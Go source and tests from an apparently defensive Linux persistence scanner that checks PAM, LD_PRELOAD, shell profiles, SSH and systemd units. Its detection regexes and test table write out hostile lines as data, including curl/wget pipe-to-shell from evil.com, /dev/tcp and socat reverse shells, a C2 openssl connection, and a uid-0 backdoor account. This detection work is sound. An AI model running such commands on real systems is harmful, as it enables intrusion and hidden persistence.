hasHigh := false
for _, f := range findings {
if f.Severity >= types.SeverityHigh {
hasHigh = true
}
}
if !hasHigh {
t.Error(
"expected high+ severity for wget|sh in network hook",
)
}
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/*
©AngelaMos | 2026
pam.go
Scans PAM configuration for authentication backdoor indicators
Checks /etc/pam.d/ for pam_exec.so entries that run custom scripts
and for references to non-standard PAM modules that may accept any
credential.
MITRE ATT&CK:
T1556.003 - Modify Authentication Process: Pluggable Authentication Modules
*/
package scanner
import (
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
pamScannerName = "pam"
mitrePAM = "T1556.003"
)
func init() {
Register(&PAMScanner{})
}
type PAMScanner struct{}
func (p *PAMScanner) Name() string {
return pamScannerName
}
func (p *PAMScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
pamD := ResolveRoot(root, "/etc/pam.d")
for _, path := range ListFiles(pamD) {
findings = append(
findings,
p.scanPamConfig(path)...,
)
}
return findings
}
func (p *PAMScanner) scanPamConfig(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if IsCommentOrEmpty(trimmed) {
continue
}
if strings.Contains(trimmed, "pam_exec.so") {
sev := types.SeverityMedium
if NetworkToolPattern.MatchString(trimmed) ||
TempDirPattern.MatchString(trimmed) {
sev = types.SeverityHigh
}
findings = append(findings, types.Finding{
Scanner: pamScannerName,
Severity: sev,
Title: "pam_exec.so runs external command",
Path: path,
Evidence: trimmed,
MITRE: mitrePAM,
})
}
if strings.Contains(trimmed, "pam_permit.so") &&
containsAuthContext(trimmed) {
findings = append(findings, types.Finding{
Scanner: pamScannerName,
Severity: types.SeverityHigh,
Title: "pam_permit.so in auth context (accepts any credential)",
Path: path,
Evidence: trimmed,
MITRE: mitrePAM,
})
}
}
return findings
}
func containsAuthContext(line string) bool {
fields := strings.Fields(line)
if len(fields) < 1 {
return false
}
return fields[0] == "auth"
}

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/*
©AngelaMos | 2026
pam_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestPAMScanner_BackdoorConfig(t *testing.T) {
p := &PAMScanner{}
path := filepath.Join(
testdataDir(), "pam", "backdoor-pam",
)
findings := p.scanPamConfig(path)
if len(findings) == 0 {
t.Fatal("backdoor pam config produced no findings")
}
hasPermit := false
for _, f := range findings {
if f.Severity == types.SeverityHigh &&
f.Title == "pam_permit.so in auth context "+
"(accepts any credential)" {
hasPermit = true
}
}
if !hasPermit {
t.Error(
"expected high severity for pam_permit.so in auth",
)
}
}
func TestPAMScanner_CleanConfig(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "clean-pam")
writeTestFile(
t, path,
"auth required pam_unix.so\n"+
"account required pam_unix.so\n",
)
p := &PAMScanner{}
findings := p.scanPamConfig(path)
if len(findings) > 0 {
t.Errorf(
"clean pam config produced %d findings, want 0",
len(findings),
)
for _, f := range findings {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
}
func TestPAMScanner_PamExec(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "pam-exec")
writeTestFile(
t, path,
"auth optional pam_exec.so /tmp/.hidden/hook\n",
)
p := &PAMScanner{}
findings := p.scanPamConfig(path)
if len(findings) == 0 {
t.Fatal("pam_exec.so with tmp path produced no findings")
}
if findings[0].Severity != types.SeverityHigh {
t.Errorf(
"severity = %v, want high",
findings[0].Severity,
)
}
}
func TestContainsAuthContext(t *testing.T) {
tests := []struct {
name string
line string
want bool
}{
{
name: "auth line",
line: "auth required pam_unix.so",
want: true,
},
{
name: "account line",
line: "account required pam_unix.so",
want: false,
},
{
name: "session line",
line: "session optional pam_motd.so",
want: false,
},
{
name: "empty",
line: "",
want: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := containsAuthContext(tt.line)
if got != tt.want {
t.Errorf(
"containsAuthContext(%q) = %v, want %v",
tt.line, got, tt.want,
)
}
})
}
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/*
©AngelaMos | 2026
patterns.go
Compiled regular expressions for detecting suspicious persistence content
Centralizes all pattern matching used across scanner modules so each
scanner does not duplicate regex compilation. Patterns cover network
tool invocations, encoding/obfuscation, reverse shell signatures,
temporary directory references, and alias hijacking.
*/
package scanner
import (
"regexp"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
var NetworkToolPattern = regexp.MustCompile(
`\b(curl|wget|nc|ncat|nmap|socat)\b`,
)
var DownloadExecPattern = regexp.MustCompile(
`(curl|wget)\s+.*\|\s*(bash|sh|zsh|dash)` +
`|` +
`(curl|wget)\s+.*-o\s+/tmp/`,
)
var EncodingPattern = regexp.MustCompile(
`\b(base64\s+-d|base64\s+--decode|xxd\s+-r|openssl\s+enc)\b` +
`|` +
`\becho\s+[A-Za-z0-9+/=]{20,}\s*\|`,
)
var ReverseShellPattern = regexp.MustCompile(
`/dev/tcp/` +
`|` +
`\bmkfifo\b.*\bnc\b` +
`|` +
`\bsocat\b.*\bexec\b` +
`|` +
`python[23]?\s+-c\s+.*socket` +
`|` +
`perl\s+-e\s+.*socket` +
`|` +
`ruby\s+-rsocket`,
)
var TempDirPattern = regexp.MustCompile(
`(/tmp/|/dev/shm/|/var/tmp/)`,
)
var ScriptLangPattern = regexp.MustCompile(
`\b(python[23]?|perl|ruby)\s+-[ce]\b`,
)
var AliasHijackPattern = regexp.MustCompile(
`alias\s+(sudo|su|ssh|ls|cat|id|whoami|passwd)\s*=`,
)
var LDPreloadPattern = regexp.MustCompile(
`\b(LD_PRELOAD|LD_LIBRARY_PATH)\s*=`,
)
var PathManipPattern = regexp.MustCompile(
`\bPATH\s*=\s*["']?(/tmp|/dev/shm|/var/tmp)`,
)
var NohupPattern = regexp.MustCompile(
`\bnohup\b.*&` +
`|` +
`&\s*disown`,
)
var EvalExecPattern = regexp.MustCompile(
`\b(eval|exec)\s+["']?\$\(.*(curl|wget|nc|base64)`,
)
var SuidPattern = regexp.MustCompile(
`chmod\s+[ugo]*\+s\b` +
`|` +
`chmod\s+[247][0-7]{3}\b`,
)
var AccountCreatePattern = regexp.MustCompile(
`\b(useradd|adduser|usermod)\b`,
)
var ImmutablePattern = regexp.MustCompile(
`\bchattr\s+[+-]i\b`,
)
var PersistenceInstallPattern = regexp.MustCompile(
`\bsystemctl\s+(enable|daemon-reload)\b` +
`|` +
`\bcrontab\s+-[le]\b`,
)
var EncryptedC2Pattern = regexp.MustCompile(
`\bopenssl\s+s_client\b`,
)
type PatternMatch struct {
Pattern *regexp.Regexp
Severity types.Severity
Label string
}
var SuspiciousPatterns = []PatternMatch{
{ReverseShellPattern, types.SeverityCritical, "reverse shell pattern"},
{DownloadExecPattern, types.SeverityHigh, "download-and-execute chain"},
{EncodingPattern, types.SeverityHigh, "encoded/obfuscated payload"},
{NetworkToolPattern, types.SeverityMedium, "network tool invocation"},
{ScriptLangPattern, types.SeverityMedium, "inline script execution"},
{TempDirPattern, types.SeverityMedium, "temporary directory reference"},
{AliasHijackPattern, types.SeverityHigh, "alias hijacking"},
{LDPreloadPattern, types.SeverityCritical, "LD_PRELOAD manipulation"},
{PathManipPattern, types.SeverityHigh, "PATH manipulation to temp dir"},
{NohupPattern, types.SeverityMedium, "background process launch"},
{EvalExecPattern, types.SeverityHigh, "dynamic eval/exec"},
{SuidPattern, types.SeverityCritical, "SUID bit manipulation"},
{AccountCreatePattern, types.SeverityHigh, "account creation/modification"},
{ImmutablePattern, types.SeverityHigh, "file attribute manipulation"},
{
PersistenceInstallPattern,
types.SeverityMedium,
"persistence self-installation",
},
{EncryptedC2Pattern, types.SeverityHigh, "encrypted C2 channel"},
}
func MatchLine(
line string,
) (matched bool, sev types.Severity, label string) {
best := types.SeverityInfo
for _, p := range SuspiciousPatterns {
if p.Pattern.MatchString(line) {
if !matched || p.Severity > best {
best = p.Severity
label = p.Label
}
matched = true
}
}
return matched, best, label
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/*
©AngelaMos | 2026
patterns_test.go
*/
package scanner
import (
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestMatchLine(t *testing.T) {
tests := []struct {
name string
line string
wantHit bool
wantSev types.Severity
wantLbl string
}{
{
name: "clean line",
line: "/usr/sbin/sshd -D",
wantHit: false,
},
{
name: "curl pipe bash",
line: "curl http://evil.com/x | bash",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "download-and-execute chain",
},
{
name: "wget pipe sh",
line: "wget -qO- http://evil.com/x | sh",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "download-and-execute chain",
},
{
name: "base64 decode",
line: "echo dGVzdA== | base64 -d | sh",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "encoded/obfuscated payload",
},
{
name: "reverse shell dev tcp",
line: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "reverse shell pattern",
},
{
name: "socat reverse shell",
line: "socat exec:'bash -li',pty TCP:10.0.0.1:4444",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "reverse shell pattern",
},
{
name: "temp dir reference",
line: "/tmp/.hidden/payload",
wantHit: true,
wantSev: types.SeverityMedium,
wantLbl: "temporary directory reference",
},
{
name: "dev shm reference",
line: "/dev/shm/.evil.so",
wantHit: true,
wantSev: types.SeverityMedium,
wantLbl: "temporary directory reference",
},
{
name: "alias hijack",
line: "alias sudo='/tmp/keylog && sudo'",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "alias hijacking",
},
{
name: "LD_PRELOAD export",
line: "export LD_PRELOAD=/dev/shm/.evil.so",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "LD_PRELOAD manipulation",
},
{
name: "nohup background",
line: "nohup /tmp/.hidden/beacon &",
wantHit: true,
wantSev: types.SeverityMedium,
},
{
name: "python socket",
line: "python3 -c 'import socket'",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "reverse shell pattern",
},
{
name: "PATH to tmp",
line: "PATH=/tmp/evil:$PATH",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "PATH manipulation to temp dir",
},
{
name: "normal path export",
line: "export PATH=/usr/local/bin:$PATH",
wantHit: false,
},
{
name: "comment with keyword",
line: "# curl http://example.com",
wantHit: true,
wantSev: types.SeverityMedium,
wantLbl: "network tool invocation",
},
{
name: "chmod suid",
line: "chmod u+s /tmp/.hidden/shell",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "SUID bit manipulation",
},
{
name: "chmod numeric suid",
line: "chmod 4755 /usr/local/bin/backdoor",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "SUID bit manipulation",
},
{
name: "useradd backdoor",
line: "useradd -o -u 0 -g root backdoor",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "account creation/modification",
},
{
name: "chattr immutable",
line: "chattr +i /etc/resolv.conf",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "file attribute manipulation",
},
{
name: "systemctl enable persistence",
line: "systemctl enable backdoor.service",
wantHit: true,
wantSev: types.SeverityMedium,
wantLbl: "persistence self-installation",
},
{
name: "openssl c2 channel",
line: "openssl s_client -connect c2.evil.com:443",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "encrypted C2 channel",
},
{
name: "normal chmod",
line: "chmod 755 /usr/local/bin/app",
wantHit: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
hit, sev, lbl := MatchLine(tt.line)
if hit != tt.wantHit {
t.Errorf(
"MatchLine(%q) hit = %v, want %v",
tt.line, hit, tt.wantHit,
)
}
if tt.wantHit && sev < tt.wantSev {
t.Errorf(
"MatchLine(%q) sev = %v, want >= %v",
tt.line, sev, tt.wantSev,
)
}
if tt.wantLbl != "" && lbl != tt.wantLbl {
t.Errorf(
"MatchLine(%q) label = %q, want %q",
tt.line, lbl, tt.wantLbl,
)
}
})
}
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/*
©AngelaMos | 2026
preload.go
Scans for LD_PRELOAD and dynamic linker hijacking persistence
Checks /etc/ld.so.preload for entries (almost never legitimate),
scans /etc/ld.so.conf.d/ for libraries in suspicious paths, and
looks for LD_PRELOAD exports in /etc/environment.
MITRE ATT&CK:
T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking
*/
package scanner
import (
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
preloadScannerName = "ld_preload"
mitrePreload = "T1574.006"
)
func init() {
Register(&PreloadScanner{})
}
type PreloadScanner struct{}
func (p *PreloadScanner) Name() string {
return preloadScannerName
}
func (p *PreloadScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
preload := ResolveRoot(root, "/etc/ld.so.preload")
findings = append(
findings,
p.scanPreloadFile(preload)...,
)
confD := ResolveRoot(root, "/etc/ld.so.conf.d")
for _, path := range ListFiles(confD) {
findings = append(
findings,
p.scanConfFile(path)...,
)
}
envFile := ResolveRoot(root, "/etc/environment")
findings = append(
findings,
p.scanEnvironment(envFile)...,
)
return findings
}
func (p *PreloadScanner) scanPreloadFile(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if trimmed == "" || strings.HasPrefix(trimmed, "#") {
continue
}
sev := types.SeverityHigh
if TempDirPattern.MatchString(trimmed) {
sev = types.SeverityCritical
}
findings = append(findings, types.Finding{
Scanner: preloadScannerName,
Severity: sev,
Title: "Library in ld.so.preload",
Path: path,
Evidence: trimmed,
MITRE: mitrePreload,
})
}
return findings
}
func (p *PreloadScanner) scanConfFile(
path string,
) []types.Finding {
lines := ReadLines(path)
var findings []types.Finding
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if IsCommentOrEmpty(trimmed) {
continue
}
if TempDirPattern.MatchString(trimmed) {
findings = append(findings, types.Finding{
Scanner: preloadScannerName,
Severity: types.SeverityHigh,
Title: "Library path in temp directory",
Path: path,
Evidence: trimmed,
MITRE: mitrePreload,
})
}
}
return findings
}
func (p *PreloadScanner) scanEnvironment(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
if LDPreloadPattern.MatchString(line) {
findings = append(findings, types.Finding{
Scanner: preloadScannerName,
Severity: types.SeverityCritical,
Title: "LD_PRELOAD in /etc/environment",
Path: path,
Evidence: strings.TrimSpace(line),
MITRE: mitrePreload,
})
}
}
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/*
©AngelaMos | 2026
preload_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestPreloadScanner_NonEmpty(t *testing.T) {
p := &PreloadScanner{}
path := filepath.Join(
testdataDir(), "preload", "ld.so.preload",
)
findings := p.scanPreloadFile(path)
if len(findings) == 0 {
t.Fatal("ld.so.preload with entry produced no findings")
}
if findings[0].Severity != types.SeverityCritical {
t.Errorf(
"severity = %v, want critical",
findings[0].Severity,
)
}
}
func TestPreloadScanner_Environment(t *testing.T) {
p := &PreloadScanner{}
path := filepath.Join(
testdataDir(), "preload", "environment",
)
findings := p.scanEnvironment(path)
if len(findings) == 0 {
t.Fatal("environment with LD_PRELOAD produced no findings")
}
if findings[0].Severity != types.SeverityCritical {
t.Errorf(
"severity = %v, want critical",
findings[0].Severity,
)
}
}

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/*
©AngelaMos | 2026
profile.go
Scans shell initialization files for injected persistence commands
Checks system-wide and per-user shell RC files (bash, zsh, profile)
for suspicious patterns: network callbacks, encoded payloads, alias
hijacking, PATH manipulation, LD_PRELOAD exports, and background
process launchers.
MITRE ATT&CK:
T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
*/
package scanner
import (
"path/filepath"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
profileScannerName = "profile"
mitreProfile = "T1546.004"
)
var systemProfiles = []string{
"/etc/profile",
"/etc/bash.bashrc",
"/etc/zsh/zshrc",
"/etc/zsh/zprofile",
}
var userProfileFiles = []string{
".bashrc",
".bash_profile",
".bash_login",
".bash_logout",
".profile",
".zshrc",
".zprofile",
}
func init() {
Register(&ProfileScanner{})
}
type ProfileScanner struct{}
func (p *ProfileScanner) Name() string {
return profileScannerName
}
func (p *ProfileScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
for _, path := range systemProfiles {
resolved := ResolveRoot(root, path)
findings = append(
findings,
ScanFileForPatterns(
resolved, profileScannerName, mitreProfile,
)...,
)
}
profileD := ResolveRoot(root, "/etc/profile.d")
for _, path := range ListFiles(profileD) {
findings = append(
findings,
ScanFileForPatterns(
path, profileScannerName, mitreProfile,
)...,
)
}
for _, home := range FindUserDirs(root) {
for _, name := range userProfileFiles {
path := filepath.Join(home, name)
findings = append(
findings,
ScanFileForPatterns(
path, profileScannerName, mitreProfile,
)...,
)
}
}
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}

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/*
©AngelaMos | 2026
profile_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestProfileScanner_CleanBashrc(t *testing.T) {
path := filepath.Join(
testdataDir(), "profiles", "clean-bashrc",
)
findings := ScanFileForPatterns(
path, profileScannerName, mitreProfile,
)
if len(findings) > 0 {
t.Errorf(
"clean bashrc produced %d findings, want 0",
len(findings),
)
for _, f := range findings {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
}
func TestProfileScanner_InjectedBashrc(t *testing.T) {
path := filepath.Join(
testdataDir(), "profiles", "injected-bashrc",
)
findings := ScanFileForPatterns(
path, profileScannerName, mitreProfile,
)
if len(findings) < 3 {
t.Fatalf(
"injected bashrc: got %d findings, want >= 3",
len(findings),
)
}
hasCritical := false
hasHigh := false
for _, f := range findings {
if f.Severity == types.SeverityCritical {
hasCritical = true
}
if f.Severity == types.SeverityHigh {
hasHigh = true
}
}
if !hasCritical {
t.Error("expected critical for LD_PRELOAD")
}
if !hasHigh {
t.Error("expected high for alias hijack or curl|bash")
}
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/*
©AngelaMos | 2026
scanner.go
Scanner registry that collects and runs all persistence scanners
Maintains an ordered slice of scanners registered at init time.
RunAll iterates each scanner in parallel using errgroup, collects
findings under a mutex, and returns the merged result set. Each
scanner module calls Register in its init function to add itself.
*/
package scanner
import (
"log/slog"
"sync"
"golang.org/x/sync/errgroup"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
var registry []types.Scanner
func Register(s types.Scanner) {
registry = append(registry, s)
}
func All() []types.Scanner {
return registry
}
func RunAll(root string) []types.Finding {
var (
mu sync.Mutex
all []types.Finding
g errgroup.Group
)
slog.Debug(
"starting scan",
"root", root,
"scanners", len(registry),
)
for _, s := range registry {
g.Go(func() error {
slog.Debug(
"scanner started", "name", s.Name(),
)
results := s.Scan(root)
slog.Debug(
"scanner finished",
"name", s.Name(),
"findings", len(results),
)
mu.Lock()
all = append(all, results...)
mu.Unlock()
return nil
})
}
_ = g.Wait() //nolint:errcheck
slog.Debug(
"scan complete", "total_findings", len(all),
)
return all
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/*
©AngelaMos | 2026
ssh.go
Scans SSH configuration and authorized keys for persistence indicators
Checks authorized_keys files for forced command options, sshd_config
for dangerous directives like PermitRootLogin and non-standard
AuthorizedKeysFile paths, and detects ~/.ssh/rc login scripts.
MITRE ATT&CK:
T1098.004 - Account Manipulation: SSH Authorized Keys
*/
package scanner
import (
"path/filepath"
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
sshScannerName = "ssh"
mitreSSH = "T1098.004"
)
func init() {
Register(&SSHScanner{})
}
type SSHScanner struct{}
func (s *SSHScanner) Name() string {
return sshScannerName
}
func (s *SSHScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
for _, home := range FindUserDirs(root) {
findings = append(
findings,
s.scanAuthorizedKeys(
filepath.Join(
home, ".ssh", "authorized_keys",
),
)...,
)
findings = append(
findings,
s.scanAuthorizedKeys(
filepath.Join(
home, ".ssh", "authorized_keys2",
),
)...,
)
rc := filepath.Join(home, ".ssh", "rc")
if FileExists(rc) {
findings = append(findings, types.Finding{
Scanner: sshScannerName,
Severity: types.SeverityMedium,
Title: "SSH rc script detected",
Path: rc,
Evidence: "~/.ssh/rc executes on every SSH login",
MITRE: mitreSSH,
})
findings = append(
findings,
ScanFileForPatterns(
rc, sshScannerName, mitreSSH,
)...,
)
}
}
sshdConfig := ResolveRoot(root, "/etc/ssh/sshd_config")
findings = append(
findings,
s.scanSSHDConfig(sshdConfig)...,
)
sshdConfigD := ResolveRoot(
root, "/etc/ssh/sshd_config.d",
)
for _, path := range ListFiles(sshdConfigD) {
findings = append(
findings,
s.scanSSHDConfig(path)...,
)
}
return findings
}
func (s *SSHScanner) scanAuthorizedKeys(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if trimmed == "" || strings.HasPrefix(trimmed, "#") {
continue
}
if strings.Contains(trimmed, "command=") {
findings = append(findings, types.Finding{
Scanner: sshScannerName,
Severity: types.SeverityHigh,
Title: "Forced command in authorized_keys",
Path: path,
Evidence: truncate(trimmed),
MITRE: mitreSSH,
})
}
if strings.Contains(trimmed, "environment=") {
findings = append(findings, types.Finding{
Scanner: sshScannerName,
Severity: types.SeverityHigh,
Title: "Environment override in authorized_keys",
Path: path,
Evidence: truncate(trimmed),
MITRE: mitreSSH,
})
}
}
return findings
}
func (s *SSHScanner) scanSSHDConfig(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
trimmed := strings.TrimSpace(line)
lower := strings.ToLower(trimmed)
if strings.HasPrefix(lower, "permitrootlogin") &&
strings.Contains(lower, "yes") {
findings = append(findings, types.Finding{
Scanner: sshScannerName,
Severity: types.SeverityMedium,
Title: "PermitRootLogin enabled",
Path: path,
Evidence: trimmed,
MITRE: mitreSSH,
})
}
if strings.HasPrefix(lower, "authorizedkeysfile") {
val := strings.Fields(trimmed)
if len(val) >= 2 {
keyPath := val[1]
if !strings.Contains(
keyPath, ".ssh/authorized_keys",
) {
findings = append(
findings, types.Finding{
Scanner: sshScannerName,
Severity: types.SeverityHigh,
Title: "Non-standard AuthorizedKeysFile path",
Path: path,
Evidence: trimmed,
MITRE: mitreSSH,
},
)
}
}
}
}
return findings
}
const maxKeyLineLen = 120
func truncate(s string) string {
if len(s) <= maxKeyLineLen {
return s
}
return s[:maxKeyLineLen] + "..."
}

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/*
©AngelaMos | 2026
ssh_test.go
*/
package scanner
import (
"path/filepath"
"strings"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestSSHScanner_CleanKeys(t *testing.T) {
s := &SSHScanner{}
path := filepath.Join(
testdataDir(), "ssh", "clean-authorized-keys",
)
findings := s.scanAuthorizedKeys(path)
if len(findings) > 0 {
t.Errorf(
"clean keys produced %d findings, want 0",
len(findings),
)
}
}
func TestSSHScanner_CommandKeys(t *testing.T) {
s := &SSHScanner{}
path := filepath.Join(
testdataDir(), "ssh", "command-authorized-keys",
)
findings := s.scanAuthorizedKeys(path)
if len(findings) < 2 {
t.Fatalf(
"command keys: got %d findings, want >= 2",
len(findings),
)
}
hasCommand := false
hasEnv := false
for _, f := range findings {
if f.Severity == types.SeverityHigh {
switch {
case strings.Contains(f.Title, "Forced command"):
hasCommand = true
case strings.Contains(
f.Title, "Environment override",
):
hasEnv = true
}
}
}
if !hasCommand {
t.Error("expected finding for command= option")
}
if !hasEnv {
t.Error("expected finding for environment= option")
}
}
func TestSSHScanner_SSHDConfigDangerous(t *testing.T) {
s := &SSHScanner{}
path := filepath.Join(
testdataDir(), "ssh", "sshd_config-dangerous",
)
findings := s.scanSSHDConfig(path)
if len(findings) < 2 {
t.Fatalf(
"dangerous sshd_config: got %d findings, want >= 2",
len(findings),
)
}
hasRootLogin := false
hasKeysFile := false
for _, f := range findings {
switch {
case strings.Contains(
f.Title, "PermitRootLogin",
):
hasRootLogin = true
case strings.Contains(
f.Title, "AuthorizedKeysFile",
):
hasKeysFile = true
}
}
if !hasRootLogin {
t.Error("expected finding for PermitRootLogin yes")
}
if !hasKeysFile {
t.Error(
"expected finding for non-standard AuthorizedKeysFile",
)
}
}
func TestSSHScanner_SSHDConfigClean(t *testing.T) {
s := &SSHScanner{}
path := filepath.Join(
testdataDir(), "ssh", "sshd_config-clean",
)
findings := s.scanSSHDConfig(path)
if len(findings) > 0 {
t.Errorf(
"clean sshd_config produced %d findings, want 0",
len(findings),
)
for _, f := range findings {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
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/*
©AngelaMos | 2026
sshrc.go
Scans /etc/ssh/sshrc for system-wide SSH login persistence
The sshrc file executes as the connecting user on every SSH login,
distinct from per-user ~/.ssh/rc files. Attackers plant callbacks
here because it runs before the user's shell and is rarely audited.
MITRE ATT&CK:
T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
*/
package scanner
import (
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
sshrcScannerName = "sshrc"
mitreSSHRC = "T1546.004"
)
func init() {
Register(&SSHRCScanner{})
}
type SSHRCScanner struct{}
func (s *SSHRCScanner) Name() string {
return sshrcScannerName
}
func (s *SSHRCScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
sshrc := ResolveRoot(root, "/etc/ssh/sshrc")
if !FileExists(sshrc) {
return nil
}
findings = append(findings, types.Finding{
Scanner: sshrcScannerName,
Severity: types.SeverityMedium,
Title: "System-wide sshrc login script exists",
Path: sshrc,
Evidence: "/etc/ssh/sshrc runs on every SSH login",
MITRE: mitreSSHRC,
})
findings = append(
findings,
ScanFileForPatterns(
sshrc, sshrcScannerName, mitreSSHRC,
)...,
)
if IsWorldWritable(sshrc) {
findings = append(findings, types.Finding{
Scanner: sshrcScannerName,
Severity: types.SeverityMedium,
Title: "World-writable sshrc script",
Path: sshrc,
Evidence: "Any user can modify this login script",
MITRE: mitreSSHRC,
})
}
return findings
}

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/*
©AngelaMos | 2026
sshrc_test.go
*/
package scanner
import (
"os"
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestSSHRCScanner_Exists(t *testing.T) {
root := t.TempDir()
sshDir := filepath.Join(root, "etc", "ssh")
if err := os.MkdirAll(sshDir, 0o750); err != nil {
t.Fatal(err)
}
src := filepath.Join(
testdataDir(), "sshrc", "sshrc-malicious",
)
data, err := os.ReadFile(src) //nolint:gosec
if err != nil {
t.Fatal(err)
}
writeTestFile(
t, filepath.Join(sshDir, "sshrc"), string(data),
)
s := &SSHRCScanner{}
findings := s.Scan(root)
if len(findings) == 0 {
t.Fatal("sshrc with content produced no findings")
}
hasExistence := false
hasPattern := false
for _, f := range findings {
if f.Title == "System-wide sshrc login script exists" {
hasExistence = true
}
if f.Severity >= types.SeverityMedium &&
f.Title != "System-wide sshrc login script exists" {
hasPattern = true
}
}
if !hasExistence {
t.Error("expected existence finding for sshrc")
}
if !hasPattern {
t.Error(
"expected pattern finding for curl in sshrc",
)
}
}
func TestSSHRCScanner_Missing(t *testing.T) {
s := &SSHRCScanner{}
findings := s.Scan(t.TempDir())
if len(findings) > 0 {
t.Errorf(
"missing sshrc produced %d findings, want 0",
len(findings),
)
}
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/*
©AngelaMos | 2026
systemd.go
Scans systemd unit files for persistence indicators
Enumerates service and timer units across system and user directories,
parses Exec directives, and flags units that show signs of attacker
installation: suspicious commands, non-standard paths, world-writable
files, and recent modification timestamps.
MITRE ATT&CK:
T1543.002 - Create or Modify System Process: Systemd Service
T1053.006 - Scheduled Task/Job: Systemd Timers
*/
package scanner
import (
"path/filepath"
"strings"
"time"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
systemdScannerName = "systemd"
mitreSystemd = "T1543.002"
mitreTimer = "T1053.006"
mitrePath = "T1543.002"
)
var systemdDirs = []string{
"/etc/systemd/system",
"/run/systemd/system",
"/usr/lib/systemd/system",
}
var execDirectives = []string{
"ExecStart=",
"ExecStartPre=",
"ExecStartPost=",
"ExecStop=",
"ExecStopPost=",
"ExecReload=",
}
func init() {
Register(&SystemdScanner{})
}
type SystemdScanner struct{}
func (s *SystemdScanner) Name() string {
return systemdScannerName
}
func (s *SystemdScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
for _, dir := range systemdDirs {
resolved := ResolveRoot(root, dir)
findings = append(
findings,
s.scanDir(resolved)...,
)
}
for _, home := range FindUserDirs(root) {
userDir := filepath.Join(
home, ".config", "systemd", "user",
)
findings = append(
findings,
s.scanDir(userDir)...,
)
}
return findings
}
func (s *SystemdScanner) scanDir(
dir string,
) []types.Finding {
var findings []types.Finding
files := ListFiles(dir)
for _, path := range files {
ext := filepath.Ext(path)
if ext != ".service" && ext != ".timer" &&
ext != ".socket" && ext != ".path" {
continue
}
mitre := mitreSystemd
switch ext {
case ".timer":
mitre = mitreTimer
case ".path":
mitre = mitrePath
}
findings = append(
findings,
s.analyzeUnit(path, mitre)...,
)
}
entries := ListDir(dir)
for _, e := range entries {
if e.IsDir() && strings.HasSuffix(e.Name(), ".d") {
dropinDir := filepath.Join(dir, e.Name())
for _, f := range ListFiles(dropinDir) {
if strings.HasSuffix(f, ".conf") {
findings = append(
findings,
s.analyzeUnit(f, mitreSystemd)...,
)
}
}
}
}
return findings
}
func (s *SystemdScanner) analyzeUnit(
path, mitre string,
) []types.Finding {
var findings []types.Finding
lines := ReadLines(path)
for _, line := range lines {
trimmed := strings.TrimSpace(line)
for _, directive := range execDirectives {
if !strings.HasPrefix(trimmed, directive) {
continue
}
cmd := strings.TrimPrefix(trimmed, directive)
cmd = strings.TrimPrefix(cmd, "-")
matched, sev, label := MatchLine(cmd)
if matched {
findings = append(findings, types.Finding{
Scanner: systemdScannerName,
Severity: sev,
Title: "Suspicious " +
strings.TrimSuffix(
directive, "=",
) + ": " + label,
Path: path,
